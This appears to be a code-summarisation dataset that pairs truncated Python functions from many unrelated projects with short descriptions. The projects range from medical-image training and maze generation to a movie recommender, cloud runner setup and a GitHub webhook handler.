model_conv = ssl_densenet121(progress=False, pretrained=args.pre_trained, fusion=args.ConvMlp_fusion)
num_ft... | The main task of the code is to perform semi-supervised learning for multi-class classification on medical imaging datasets (e.g., ISIC) using a WideResnet or ConvMLP backbone. It trains a model with both labeled and unlabeled data, employing techniques like exponential moving average (EMA), data augmentation, pseudo-l... | def main():
parser = argparse.ArgumentParser(description='Model Training')
parser.add_argument('--root', default='/home/qsyang2/codes/ssl/datasets', type=str, help='dataset directory')
parser.add_argument('--backbone', type=str, default='WideResnet',
help='name of used backbo... |
def text_processing(answer):
answer=[i for i in answer.split('.')if i != '']
answer = [Regex(line) for line in answer]
print(answer)
return answer
def Regex(article_text):
processed_article = article_text.lower()
processed_article = re.sub('[^a-zA-Z]', ' ', processed_article )
processed_article = r... | The code compares a student's answer to a teacher's answer by identifying overlapping keywords, analyzing linguistic elements (nouns, adjectives, verbs), and evaluating the student's response against the teacher's using a scoring system. It processes text, extracts matched phrases, and returns a list of keyword matches... | def nlp_main(teacher_answer:str, student_answer:str,marks:int):
# def main():
# student_answer = "Confidentiality: Only the sender and the receiver should be able to understand the contents of the transmitted message. The message may be encrypted due to hackers. This is the most commonly perceived meaning of secure... |
def infer(model: Model, fn_img: Path,locations:dict) -> None:
# """Recognizes text in image provided by file path."""
img = cv2.imread(fn_img, cv2.IMREAD_GRAYSCALE)
img = img[750:2800,200:2800]
# img = cv2.resize(img, (600, 400))
# print(img.shape)
copy = img.copy()
copy3 = cv2.imread(fn_im... | The code processes student and teacher answers (text/image) using a neural network model to evaluate correctness against given marks, then visualizes matched contours on images and compares answers via NLP, outputting results and processing time. | def main():
"""Main function."""
parser = argparse.ArgumentParser()
parser.add_argument('--marks', help='Marks alloted for this question', type=int, required=True)
parser.add_argument('--student_answer_text', help='Student Answer String used for inference.', type=str, default=' ')
parser.add_argume... |
def _create_cells(self):
for i in range(self.num_cols):
column = []
for j in range(self.num_rows):
x1 = self.x1 + i * self.cell_size_x
y1 = self.y1 + j * self.cell_size_y
x2 = x1 + self.cell_size_x
y2 = y1 + self.cell_size_y... | This code initializes a maze generator by setting up grid parameters, creating cells, breaking walls recursively starting from the top-left corner to form paths, and establishing entrance/exit points. It uses a seed for reproducibility and prepares the maze structure for visualization or traversal. | def __init__(self, x1, y1, num_rows, num_cols, cell_size_x, cell_size_y, win, seed=None):
if seed is not None:
random.seed(seed)
self._win = win
self.x1 = x1
self.y1 = y1
self.num_rows = num_rows
self.num_cols = num_cols
self.cell_size_x = cell_size_x
... |
def make_runner_cloudconfig(plan: MeasurementPlanV3):
# language="Shell Script"
return textwrap.dedent(f"""
#!/usr/bin/bash
set -e
set -x
cd /root
echo {base64.b64encode(json.dumps(plan)).decode()} | base64 --decode > plan.json
curl {get_resource_url('main.js')} -o main.js
DEBUG=pw:... | The function `spawn_runner` generates a cloud instance (DigitalOcean or AWS Lightsail) based on the provided `MeasurementPlanV3`. It creates a temporary directory, writes a cloud configuration file (`cloudinit.yaml`), and executes provider-specific CLI commands to launch an instance with specified region, size, SSH key... | def spawn_runner(plan: MeasurementPlanV3) -> str:
with tempfile.TemporaryDirectory(dir=here) as tmpdir:
cloudinit = Path(tmpdir) / "cloudinit.yaml"
cloudinit.write_text(make_runner_cloudconfig(plan), "utf8")
if plan["region"] in DIGITALOCEAN_REGIONS:
base_id = digitalocean_image_... |
def computePitchVector(input):
pitches = []
for measure in input:
expandedMeasure = expandMeasure(measure)
print(len(expandedMeasure))
tmpVector = []
for note in expandedMeasure:
tmpVector.append(calculateMidiPitch(note['type'][0],note['accented']))
pitches.... | The code calculates creativity scores based on three metrics: originality (normalized by ground compositions), flexibility (normalized by concepts), and fluency. It combines user and ground compositions, computes pitch/duration vectors, then derives scores using domain-specific functions. | def calculateCreativityScores(data,userCompositions):
groundAndUserCompositions = userCompositions + groundCompositions
pitchesVector = computePitchVector(data)
numberOfConcepts = len(pitchesVector)
durationVector = computeDurationVector(data)
flex = calculateFlexibility(pitchesVector,durationV... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | The main task of the code is to preprocess and structure MRI-related data into time-series sequences for machine learning. It scales target cognitive scores (MMSE, CDRSB, ADAS13), processes patient exam timelines, and constructs padded 3D arrays (data_y) of these scores. It also combines precomputed features with netwo... | def build_data_x_y_gamma(main_path, max_length=9):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ["MMSE", "CDRSB", "ADAS13"]
df = df[["PTID", "EXAMDATE"] + target_labels + ["EcogPtMem"]]
df = df[pd.notnull(df["EcogPtMem"])]
# df["EXA... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | The code processes MRI and network data to prepare structured time-series inputs for machine learning. It reads patient data, normalizes cognitive scores (MMSE, CDRSB, ADAS13), and constructs dictionaries mapping patient IDs to their exam dates and scores. It pads sequences to a fixed length (`max_length`), saving norm... | def build_data_x_y_delta(main_path, max_length=9):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ["MMSE", "CDRSB", "ADAS13"]
df = df[["PTID", "EXAMDATE"] + target_labels + ["EcogPtMem"]]
df = df[pd.notnull(df["EcogPtMem"])]
# df["EXA... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | The code processes MRI and network centrality data to generate structured input-output datasets for machine learning. It reads patient data, scales target labels (ADAS13), handles missing values, and aligns time-series data with fixed length (max_length=9). It constructs multiple input variants (epsilon1-4) by combinin... | def build_data_x_y_epsilon(main_path, max_length=9):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ["ADAS13"]
df = df[["PTID", "EXAMDATE"] + target_labels + ["EcogPtMem"]]
df = df[pd.notnull(df["EcogPtMem"])]
# df["EXAMDATE"] = [str(... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | The code preprocesses MRI and network centrality data for machine learning, normalizing cognitive scores, aligning patient records with timestamps, and structuring time-series data (x, y) with padding to fixed lengths. It generates multiple data variations by combining features with network metrics, saving processed ar... | def build_data_x_y_zeta(main_path, max_length=9):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ['EcogPtMem', 'EcogPtLang', 'EcogPtVisspat', 'EcogPtPlan', 'EcogPtOrgan', 'EcogPtDivatt', 'EcogPtTotal']
df = df[["PTID", "EXAMDATE"] + target_la... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | The main task of the code is to process and prepare time-series data for machine learning models. It reads MRI and cognitive scores, rescales targets, constructs patient-specific sequences, pads them to a fixed length, and combines network features with original data to generate multiple input-output datasets (data_x_e... | def build_data_x_y_eta(main_path, max_length=9):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ["CDRSB", "ADAS13"]
df = df[["PTID", "EXAMDATE"] + target_labels + ["EcogPtMem"]]
df = df[pd.notnull(df["EcogPtMem"])]
# df["EXAMDATE"] = ... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | The code processes MRI and network data to generate structured input-output datasets for machine learning. It normalizes cognitive scores (CDRSB, ADAS13), maps patient IDs to their time-series data, and constructs padded arrays (`data_y`) of target labels. It then combines original neural network outputs with network c... | def build_data_x_y_theta(main_path, max_length=5):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ["CDRSB", "ADAS13"]
df = df[["PTID", "EXAMDATE"] + target_labels + ["EcogPtMem"]]
df = df[pd.notnull(df["EcogPtMem"])]
# df["EXAMDATE"] ... |
def get_engine():
if platform.system().lower() == "linux":
return "openpyxl"
elif platform.system().lower() == "windows":
return None
elif platform.system().lower() == "darwin":
return "openpyxl"
return None
def fill_nan(clinic_list):
mean = np.nanmean(np.asarray(clinic_list)... | This function processes medical data to prepare features (X) and targets (Y) for machine learning. It reads patient data, scales target labels (CDRSB, ADAS13), handles missing values, and structures data by patient IDs. It generates padded sequences of examination dates and target scores, saves them, then combines orig... | def build_data_x_y_iota(main_path, max_length=1):
df = pd.read_excel(main_path + "data/MRI_information_All_Measurement.xlsx", engine=get_engine())
target_labels = ["CDRSB", "ADAS13"]
df = df[["PTID", "EXAMDATE"] + target_labels + ["EcogPtMem"]]
df = df[pd.notnull(df["EcogPtMem"])]
# df["EXAMDATE"] =... |
def get_kmeans_base(data_x_raw, seed, k):
data = []
for item in data_x_raw:
for vec in item:
data.append(vec)
kmeans = KMeans(n_clusters=k, random_state=seed).fit(data)
kmeans_output = []
tmp_index = 0
for item in data_x_raw:
# print(len(item))
kmeans_output.a... | The main task of the code is to initialize and compute k-means-based clustering results for a given dataset. It checks if precomputed records exist; if not, it runs multiple k-means iterations with different seeds, aggregates statistical metrics, and saves averaged results. If records exist, it loads them. The function... | def initial_record(main_path, opt, data_x_raw, data_name, seed_count, k):
if not os.path.exists(main_path + "record/data={}_alpha={}_beta={}_h_dim={}_main_epoch={}/record_{}.csv".format(data_name, float(opt.alpha), float(opt.beta), int(opt.h_dim), int(opt.main_epoch), data_name)):
os.makedirs(main_path + "r... |
def __get_best_split(self, dataset, num_features):
""" Finds to find the best split """
# dictionary to store the best split
best_split = {}
max_info_gain = -float("inf")
# loop over all the features
for feature_index in range(num_features):
feature_values =... | This function recursively constructs a decision tree by splitting the dataset based on information gain. It checks stopping conditions (minimum samples, max depth), computes the best split, and creates decision nodes or leaf nodes. If both subtrees are homogeneous, it returns a leaf; otherwise, it returns a node with t... | def __build_tree(self, dataset, curr_depth=0):
""" recursive function to build the tree """
X, Y = dataset[:, :-1], dataset[:, -1]
num_samples, num_features = np.shape(X)
# Split until stopping conditions are met
if num_samples >= self.min_samples_split and curr_depth <= self.m... |
def print_level(level, position):
"""
this function is for print the map
"""
#get the current map's size
size = level_size(level)
#instantiate the position_to_index function to get this position's index value
index = position_to_index(position, size)
#convert str to list.
level_... | The main task of the code is to implement a text-based game where a player navigates a level, collects coins for points, avoids monsters, and uses checkpoints to save progress. The game loop processes player actions (movement, attack, help), updates the score, and terminates when reaching a goal or failing due to a mon... | def main():
"""
this function is the main function
"""
#initial score
score = 0
#initial position
position = (0, 1)
#initial checkpoint vars to save status
checkpoint = ()
savescore = ''
savemap = ''
#input file name
file_name = str(raw_input('Please enter ... |
def best_split(data_pd: pd.DataFrame, class_var: str, exclude_features: list = []) -> float:
"""
Returns the name of the best feature to split on at this node.
If the current node contains the most info (all splits lose information), return None.
EXCLUDE_FEATURES is the list of variables we want to omit... | The function builds a decision tree recursively by selecting the best feature to split the data, up to a maximum depth of 2. It partitions the dataset into subsets based on the chosen feature, excludes the feature from future splits, and repeats the process for each subset. If no optimal split is found, it terminates. ... | def build_decision_tree(node_data: pd.DataFrame, class_var: str, depth: int = 0, exclude_features: list = []) -> None:
"""Build a decision tree for NODE_DATA with
CLASS_VAR as the variable that stores the class assignments.
EXCLUDE_FEATURES is the list of variables we want to omit from our list of choices... |
def cluster(X, max_num_clusters=3, exact_num_clusters=None):
'''Applies clustering on reduced data,
i.e. data where power is greater than threshold.
Parameters
----------
X : pd.Series or single-column pd.DataFrame
max_num_clusters : int
Returns
-------
centroids : ndarray of int3... | This code trains individual Gaussian HMMs for each appliance in the dataset using 1D FHMM, clusters their states, and combines them into an Aggregate Factorial HMM (AFHMM) for energy disaggregation. It processes each appliance's time-series data, fits HMM parameters, sorts states, and merges models into a unified frame... | def train(self, df, appliance_list):
import warnings
warnings.filterwarnings("ignore", category=Warning)
"""Train using 1d FHMM.
Places the learnt model in `model` attribute
The current version performs training ONLY on the first chunk.
Online HMMs are welcome if someone... |
def classify_pixels(self):# print('bgd count: %d, fgd count: %d, uncertain count: %d' % (len(bgd_indexes[0]), len(fgd_indexes[0]), len(pr_indexes[0])))
# Allocate the indices with foregorund and background pixels
self.bg_idx = np.where(np.logical_or(self.mask == DRAW_BG['val'], self.mask == DRAW_PR... | This code initializes a GrabCut image segmentation algorithm by setting up input image/mask parameters, classifying initial pixels, configuring GMM models for foreground/background, preparing graph structures for max-flow computation, and initializing smoothness terms. It prepares the system for iterative optimization ... | def __init__(self, img, mask, n_iters, gamma=50, gmm_components=5, neighbours=8, rect=None):
# Save the image and it's size first
self.img = img.copy()
self.rows, self.cols, _ = self.img.shape
self.mask = mask.copy()
# Set the mask with the probable foreground
if... |
def _update_sessions(self):
"""
Update the session queue
"""
datetime_now = dt.datetime.now()
# Sort session by start date
self.sessions = sorted(self.sessions, key=lambda s: s.start_date)
# Clear out expired sessions (already past sessions; includes the most rece... | The main task of the code is to refresh a station by updating sessions, texts, colors, the edit window, and the statistics tracker. It accomplishes this by sequentially calling private methods to update each component and triggering a refresh on the session tracker, ensuring all related elements are synchronized and cu... | def refresh(self):
"""
Refresh this station:
- Update sessions
- Update texts
- Update colors
- Update Edit Window
- Update Statistics Tracker
"""
self._update_sessions()
self._update_texts()
self._update_colors(... |
def _initialize_timers(self):
"""
Set up timers here
"""
# Refresh timer
self.timer = QTimer()
self.timer.timeout.connect(self.refresh)
self.timer.start(2500)
def _initialize_binds(self):
"""
Bind the buttons of this station to
"""
... | The code initializes an object with a given station and tracked sessions, setting up attributes like station details, windows, and session tracking. It performs setup tasks including initializing timers, bindings, and triggering a refresh to prepare the object for managing sessions and interactions with the station's w... | def __init__(self, station: Station, tracked_sessions: List[Session] = []):
self.station = station
self.windows = self.station.windows
self.stationID = self.station.stationID
self.tracked_sessions = tracked_sessions
# -Setup-
self._initialize_timers()
self._initia... |
def _initialize_timers(self):
"""
Set up timers here
"""
# Refresh timer
self.timer = QTimer()
self.timer.timeout.connect(self.refresh)
self.timer.start(2500)
def _initialize_binds(self):
"""
Bind the buttons of this station to
"""
... | This code initializes a station object with parameters like stationID, device, and session tracking. It sets up dynamic attributes (customer name, activation status) and helper variables for UI management. The method configures timers, event bindings, hides the window, and triggers a refresh to prepare the GUI interfac... | def __init__(self, windows, stationID: int, tracked_sessions: List[Session] = []):
self.windows = windows
# -Main Variables-
# Static Paramaters
self.stationID = stationID
self.device: Union[Device, None] = self.DEFAULT_DEVICE
self.sessionTracker = SessionTracker(self,
... |
def delete_session(self, session: Union[int, Session] = None, track: Union[bool, None] = None):
"""
Delete the session
Paramaters:
session(int or Session):
ID of the session to delete OR
Session class to delete
track(bool):
... | The main task of the code is to add a new session to a list, checking for time conflicts with existing sessions. If conflicts arise, it prompts the user to delete overlapping sessions. If the session ID is provided, it replaces an existing session with that ID. The function returns True on successful addition or False ... | def add_session(self, customerName: str, start_date: Union[dt.datetime, None], duration: dt.time, sessionID: Union[int, None] = None) -> bool:
"""
Add a new session
Paramaters:
customerName(str):
Name of customer for this session
start_date(dt.datetime or... |
def _find_session(self, sessionID: int) -> Session:
"""
Find a session by its id
Paramaters:
sessionID(int):
ID of the session to delete
Returns(Session):
Session instance with that id
"""
for session in self.sessions:
... | This code deletes selected sessions from a table, verifying the station ID matches, checking if sessions are active (containing current time), and prompting user confirmation before deletion to prevent accidental removal of ongoing sessions. | def delete_selection(self):
"""
Delete all session selected
"""
assert self.windows['edit'].property('stationID') == self.stationID, "stationID in edit window does not equal stationID deletion is being performed on" # nopep8
# Get selection
widget = self.windows['edit']... |
def clicked_main_openLoginWindow(self):
"""
Open the login window to enter the
kasa app account data
"""
if not settingsManager.value('settings')['saveLogin']:
# Do not save login information, so
# clear previously typed data
self.windows['logi... | This method binds UI widgets to their corresponding event handlers, connecting button clicks and widget interactions to specific functions for actions like opening windows, refreshing devices, managing sessions, and handling settings in a GUI application. | def initialize_binds(self):
"""
Bind the widgets to other methods
"""
# -Main Window-
reconnect(self.windows['main'].pushButton_login.clicked,
lambda *args: self.clicked_main_openLoginWindow())
reconnect(self.windows['main'].pushButton_refresh.clicked,
... |
def initialize_windows(self):
"""
Set up all windows for this application
"""
# -Event Filter-
for window in self.windows.values():
window.installEventFilter(self.eventHandler)
self.eventHandler.addFilter(Qt.Key_Return, self.clicked_login_connect, parent=self.... | This code initializes a GUI application by setting up threads, event handlers, and a grid of stations. It configures station objects, loads page data, checks stored credentials to search for devices, and displays the main window with appropriate styling and focus. | def __init__(self, windows):
self.windows = windows
# -Variables-
self.threadpool = QThreadPool()
self.eventHandler = EventHandler()
self.gridOrder = [(0, 0),
(0, 1),
(1, 0),
(1, 1),
... |
def store_input_to_history(self, user_input: dict) -> bool | str:
"""
Stores the user's search history in MongoDB or the blockchain.
Parameters:
user_input (dict): A dictionary containing the user's input.
Returns:
bool: True if the user's search histor... | The main task of the code is to fetch and format movie recommendations from a server based on user preferences, returning structured movie data (title, release date, genres, etc.) and an optional Etherscan transaction hash if data storage is enabled. It processes user input parameters, sends a GET request to a server, ... | def get_movie_recommendations(self, user_input, poster_image_size=500, store_data=True) -> Tuple[List[dict], Optional[str]]:
"""
Fetch movie recommendations based on user input.
Parameters:
poster_image_size (int): The size of the poster image to fetch. default is 500.
... |
def dropdown(name_field):
# dropdown function
return user_object.get_list_for_gui_dropdown(name_field)
def submit(entries):
# Get movie recommendations based on the user's input
get_movie_recommendations(entries)
def recommendations_by_history(entries):
# Get movie recommendations based on the histo... | This function creates a GUI frame for a recommendation system, generating dropdowns for various filters (e.g., genre, language, region) and buttons to submit selections or fetch history-based recommendations. It initializes a ttk.Frame with labeled comboboxes for each parameter, stores them in a dictionary, and adds tw... | def setup_recommendation_frame(root):
# Create the recommendation frame
global recommendation_frame
recommendation_frame = ttk.Frame(root, padding="10 10 10 10")
# New fields
options = ["genre","language", "region", "sort_by", "certification_country", "certification",
"certification... |
def setup_login_frame(root):
# Create the login frame with entry fields for username and password
global login_frame, username_entry, password_entry
login_frame = ttk.Frame(root, padding="10 10 10 10")
ttk.Label(login_frame, text="Username:").pack()
username_entry = ttk.Entry(login_frame)
userna... | The main task of the code is to initialize a movie recommendation GUI application using Tkinter. It sets up a MongoDB client, creates a main window with login, registration, and recommendation frames, and starts the GUI event loop. The `main()` function orchestrates the interface setup and database connection, displayi... | def main():
# Create the main window and set up the frames
global user_object
user_object = python_client.Client(is_mongo_db_client=True)
root = tk.Tk()
root.title("Movie Recommendation App")
root.geometry("600x400")
setup_login_frame(root)
setup_registration_frame(root)
setup_recom... |
def paintEdge(self, startLabel, endLabel, color='r'):
p1 = self.nodeLoc(startLabel)
p2 = self.nodeLoc(endLabel)
plt.plot([p1[0], p2[0]], [p1[1], p2[1]], color=color, linewidth=1)
def paintNode(self,nodeLabel,color='r',weight='normal', size='medium'):
p1=self.nodeLoc(nodeLabel)
if... | This function highlights a newly explored node and its path in a graph visualization by unmarking previous highlights, painting the current node and path in red, and updating tracked elements. It ensures each exploration step is visually distinct by resetting prior marks before applying new ones. | def exploreNode(self,nodeLabel,nodePath):
# First clean up. Unmark highlights nodes/edges from last step
for edge in self.markedEdges: # first unmark any edges painted in last steps
self.paintEdge(edge[0],edge[1],color='k')
if self.markedNodes: # if there was a previous node explo... |
def create_model() -> Sequential:
model = Sequential()
model.add(Input(shape=(100,)))
model.add(Dense(units=32, activation="sigmoid"))
model.add(Dense(units=32, activation="sigmoid"))
model.add(Dense(units=6, activation="softmax"))
model.compile(loss="categorical_crossentropy", optimizer=SGD(le... | The main task of the code is to create, train, and quantize a neural network model. It reads and prepares data, trains a model, applies quantization-aware training, converts the model to a quantized TFLite version, compares model sizes, saves the TFLite model, and evaluates its performance on training data. The process... | def main():
data, labels_txt = dataproc.read_data()
prepared_data = dataproc.prepare_data(data, labels_txt)
model = create_model()
model.summary()
model_train(model, prepared_data)
model_quant_aware = create_model_quant_aware(model)
# train model with quantization-aware training
model... |
def _transform_expression_bool_op(
op: Union[fcsql.parser.ExpressionAnd, fcsql.parser.ExpressionOr], op_str: str
) -> str:
assert (
len(op.operands) == 2
), "Boolean Expression should only have exactly two operands!"
return f"{_transform_expression(op.operands[0])}{op_str}{_transform_expression(... | This function transforms a QuerySegment into a string representation by handling logical operators (AND/OR), occurrences, and wildcards. It wraps boolean operations in brackets, appends occurrence info, and raises an error for unsupported complex queries. | def _transform_query_segment(segment: fcsql.parser.QuerySegment) -> str:
op: fcsql.parser.Expression = segment.get_expression()
if isinstance(op, fcsql.parser.ExpressionAnd):
return f"[{_transform_expression_bool_op(op, ' & ')}]"
if isinstance(op, fcsql.parser.ExpressionOr):
return f"[{_tran... |
def insert_into_user_accounts(db_connection, db_cursor, data):
if data is None:
data = [(1, "Prashant Singh", "1234567890"),
(2, "Krishna Rao", "1134567890"),
(3, "John Doe", "1234563344"),
(4, "Ben Dower", "1134692890"),
(5, "Hugh Ash", "3344... | The code initializes a database by inserting predefined data into user accounts, roles, tables, and privileges, along with their mappings. It then enters an infinite loop, displaying options and processing user input to manage database entities and relationships interactively. | def run(db_connection, db_cursor):
insert_into_user_accounts(db_connection, db_cursor, None)
insert_into_roles(db_connection, db_cursor, None)
insert_into_tables(db_connection, db_cursor, None)
insert_into_privileges(db_connection, db_cursor, None)
insert_into_user_roles_mapping(db_connection, db_cu... |
def forward(self, x):
x = torch.from_numpy(x)
x = self.hidden_layer(x) # b*x
x = torch.relu(x) # sigma(b*x)
x = self.output_layer(x) # y = a*sigma(b*x) + c
return x
def compute_neural_tangent_kernel(self, x):
kernel = torch.zeros([x.shape[0] * self.output_size, x.shap... | This function computes LQR controller gains for a given environment using neural tangent kernels. It constructs augmented system matrices from state/action information, checks controllability, and calculates optimal control weights based on environment-specific Q/R matrices. The output includes kernel values and contro... | def __lq_servo(self, state, action, state_next):
state_tensor = torch.from_numpy(state).float().unsqueeze(0)
state_next_tensor = torch.from_numpy(state_next).float().unsqueeze(0)
state_cat_tensor = torch.cat([state_tensor, state_next_tensor])
a2 = torch.argmax(self.forward(state)).ite... |
def forward(self, x):
x = torch.from_numpy(x)
x = self.hidden_layer(x) # b*x
x = torch.relu(x) # sigma(b*x)
x = self.output_layer(x) # y = a*sigma(b*x) + c
return x
def compute_neural_tangent_kernel(self, x):
kernel = torch.zeros([x.shape[0] * self.output_size, x.shap... | This function computes temporal difference (TD) errors in a state-space framework using neural tangent kernels. It constructs matrices for system dynamics, calculates eigenvalues, adjusts poles for stability, and performs pole placement to derive control gains. The outputs include neural tangent kernel values and contr... | def compute_temporal_difference_state_space(self, state, action, reward, state_next):
state_tensor = torch.from_numpy(state).float().unsqueeze(0)
state_next_tensor = torch.from_numpy(state_next).float().unsqueeze(0)
state_cat_tensor = torch.cat([state_tensor, state_next_tensor])
q1 = ... |
def reset(self):
self.success = False
for i in range(self.n_agents):
self.sim.setAgentPosition(i, self.positions[i])
self.__episode_ended = False
self.__setState()
return self.__state
def setPrefferedVel(self, actions: np.float32) -> None:
... | This function processes a single environment step by applying given actions, updating the simulation state, calculating rewards, and returning the new state, reward values, and episode termination status. It handles action execution, state transitions, reward computation, and episode management in a multi-agent reinfor... | def step(self, actions: np.float32):
if self.__episode_ended:
return self.reset()
self.setPrefferedVel(actions=actions)
self.sim.doStep()
self.time += self.timestep
self.__setState()
rwd = np.zeros((self.n_agents,), dtype=np... |
def cw(tile: Tile) -> Tile:
new_tile: Tile = []
for col in range(len(tile)):
new_tile.append(''.join([row[col] for row in tile[::-1]]))
return new_tile
def flip_x(tile: Tile) -> Tile:
return [r[::-1] for r in tile]
def flip_y(tile: Tile) -> Tile:
return ccw(flip_x(cw(tile))) | The main task of the code is to generate all possible orientations of a given tile by rotating it 0°, 90°, 180°, and 270° clockwise, then flipping it horizontally and vertically, followed by additional rotations to yield all unique transformations. This creates a sequence of 16 tile orientations, covering all combinati... | def orientations(tile: Tile):
for _ in range(4):
tile = cw(tile)
yield tile
tile = flip_x(tile)
for _ in range(4):
tile = cw(tile)
yield tile
tile = flip_y(tile)
for _ in range(4):
tile = cw(tile)
yield tile
tile = flip_x(tile)
for _ in range(4... |
def create():
con = sqlite3.connect(dbPath)
if con:
# get the count of tables with the name
cur = con.cursor()
cur.execute(''' SELECT count(name) FROM sqlite_master WHERE type='table' AND name='alerts' ''')
# if the count is 1, then table exists
if cur.fetchone()[0] == 1... | This function inserts new alert entries into a database, checking for existing entries by mmlid. If an entry exists, it updates only if the status has changed. It tracks new vs. existing entries, checks if entries are not yet processed ('oeff' != 'TRUE'), and saves a chart with counts. The SQL statement maps feature pr... | def saveAlertEntry(data):
con = create()
cur = con.cursor()
sql = "INSERT INTO alerts (type, [geometry.type], [geometry.coordinates], [properties.mmlid], [properties.str], [properties.mmlid], [properties.zus], [properties.plz], [properties.ort], [properties.zust], " \
" [properties.start], [prop... |
def is_test():
try:
if sys.argv[1] == 'test':
alert(sites[0])
print("Test complete, if you received notification, you're good to go.")
return True
except:
return False
def selenium_get(url):
global driver
global reload_count
driver.get(url)
ht... | The main task of the code is to continuously monitor a list of websites for specific keywords using different fetching methods (Selenium or API). It checks each enabled site, retrieves its HTML content, searches for predefined keywords, and triggers alerts based on whether the keyword is found. The process repeats inde... | def main():
search_count = 0
exit() if is_test() else False
while True:
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Starting search {} at {}".format(search_count, current_time))
search_count += 1
for site in sites:
if site.get('en... |
def test_valid_config_name():
try:
get_config_options('None')
msg = 'Failed.'
except:
msg = 'Passed.'
print("test_valid_config_name : {}".format(msg))
def test_valid_config_keys():
try:
basic_keys = set(get_config('basic').keys())
full_keys = set(get_config('full').keys())
w_illegal_keys = set(get_confi... | The code defines a function `run_tests()` that executes three test functions: `test_valid_config_name()` to validate configuration names, `test_valid_config_keys()` to check valid configuration keys, and `test_valid_illegal_set()` to handle illegal configuration settings. Its main task is to verify the correctness of c... | def run_tests():
test_valid_config_name()
test_valid_config_keys()
test_valid_illegal_set() |
def check_model(self):
"""Checks whether model has been fitted; since all parameters are
set at the same time, we can simply check one of them.
Does not return anything, merely raises a ValueError if model
not fitted yet.
Raises:
ValueError: Raises an error if model ... | The function `predict_proba` computes the probability of each sample belonging to each component in a probabilistic model. It validates the model and input data, then calculates component probabilities using `get_component_probabilities`, returning an N x K array where N is the number of samples and K the number of com... | def predict_proba(self, X):
"""Returns the probability that each sample belongs to each component. Used by
self.predict.
Args:
X (np.ndarray): The input data; an N x M array.
Returns:
The probability that each datapoint belongs to each component;
... |
def dynamic_perturb_rate(self, epoch): # Perturb rate decay
new_rate = P.perturb_rate * (1.0 / (1.0 + P.perturb_rate_decay * epoch))
return new_rate
def mutation(self, pop, perturb_rate):
if P.mutate_opt == 'random_perturbation':
mut_pop = self.random_perturbation(pop, P.sample_dis... | The code evolves a population through mutation, crossover, and selection. It dynamically adjusts mutation rate, generates offspring via mutation and crossover (with optional amplification), merges mutated, crossed, and combined variants, evaluates fitness for parents/children, and selects survivors to form the next gen... | def step(self, pop, epoch):
perturb_rate = self.dynamic_perturb_rate(epoch)
print('Perturb rate: %s, see below for mutated and crossed over population' % perturb_rate)
# Apply some mutation and recombination
mut_pop = self.mutation(pop, perturb_rate)
crossed_pop = self.crossove... |
def end_current_game(self, title, content):
self.__screen.show_message(title, content)
self.__screen.end_game()
sys.exit()
def update_velocity(self):
ship1 = self.__ship
ship1.x_velocity = ship1.x_velocity + math.cos(
math.radians(ship1.head_direction))
ship1.... | The main task of the code is to manage a game loop that updates game state, handles user input, checks collisions, and renders game elements. It updates ship movement, torpedo firing, asteroid positions, and collision detection between the ship, asteroids, and torpedoes. The loop also determines game outcomes (win/loss... | def _game_loop(self):
if len(self.asteroids_lst)==0:
self.end_current_game(WIN_MESSAGE, WIN_MESSAGE_CONTENT)
if self.__screen.should_end():
self.end_current_game(GAME_END,LOST_GAME)
if self.__screen.is_up_pressed():
self.update_velocity()
if self.__scr... |
def parse_msg(self, msg: str):
prefix = ''
command = ''
params = []
if len(msg.split(' ')) == 1:
return '', msg, []
if msg[0] == ':':
prefix, msg = msg[1:].split(' ', 1)
command, msg = msg.split(' ', 1)
if msg.find(' :') != -1:
... | The main task of the code is to read and process incoming IRC protocol messages from a socket connection. It decodes received data, splits it into lines, parses each line into command components, and dispatches to corresponding handler methods for commands like NICK, USER, PRIVMSG, etc., returning True on success or Fa... | def read(self):
try:
data = [*self.socket.recv(2 ** 10).decode().split(CRLF)]
for d in data:
if d == '':
continue
(prefix, cmd, params) = self.parse_msg(d)
if cmd == 'NICK':
self.handleNICK(params)... |
def dowload_obo(repo,zipball_url):
print("Downloading release for {repo}:".format(repo=repo),zipball_url)
token = ah.installationToken(db.get_installation(repo))
obopath = Path(db.get_repo_info(repo=repo)['master_obo_path'])
download = zipball_url
s = requests.session()
s.headers.update({'Author... | This webhook handler validates GitHub event signatures, processes JSON payloads, and triggers actions like downloading releases or managing installations based on event types (e.g., 'published', 'created', 'deleted'). It ensures secure authentication via HMAC and routes requests to specific handlers for different webho... | def webhook():
data = request.json
digest = hmac.new(webhook_secret, request.data, hashlib.sha1).hexdigest()
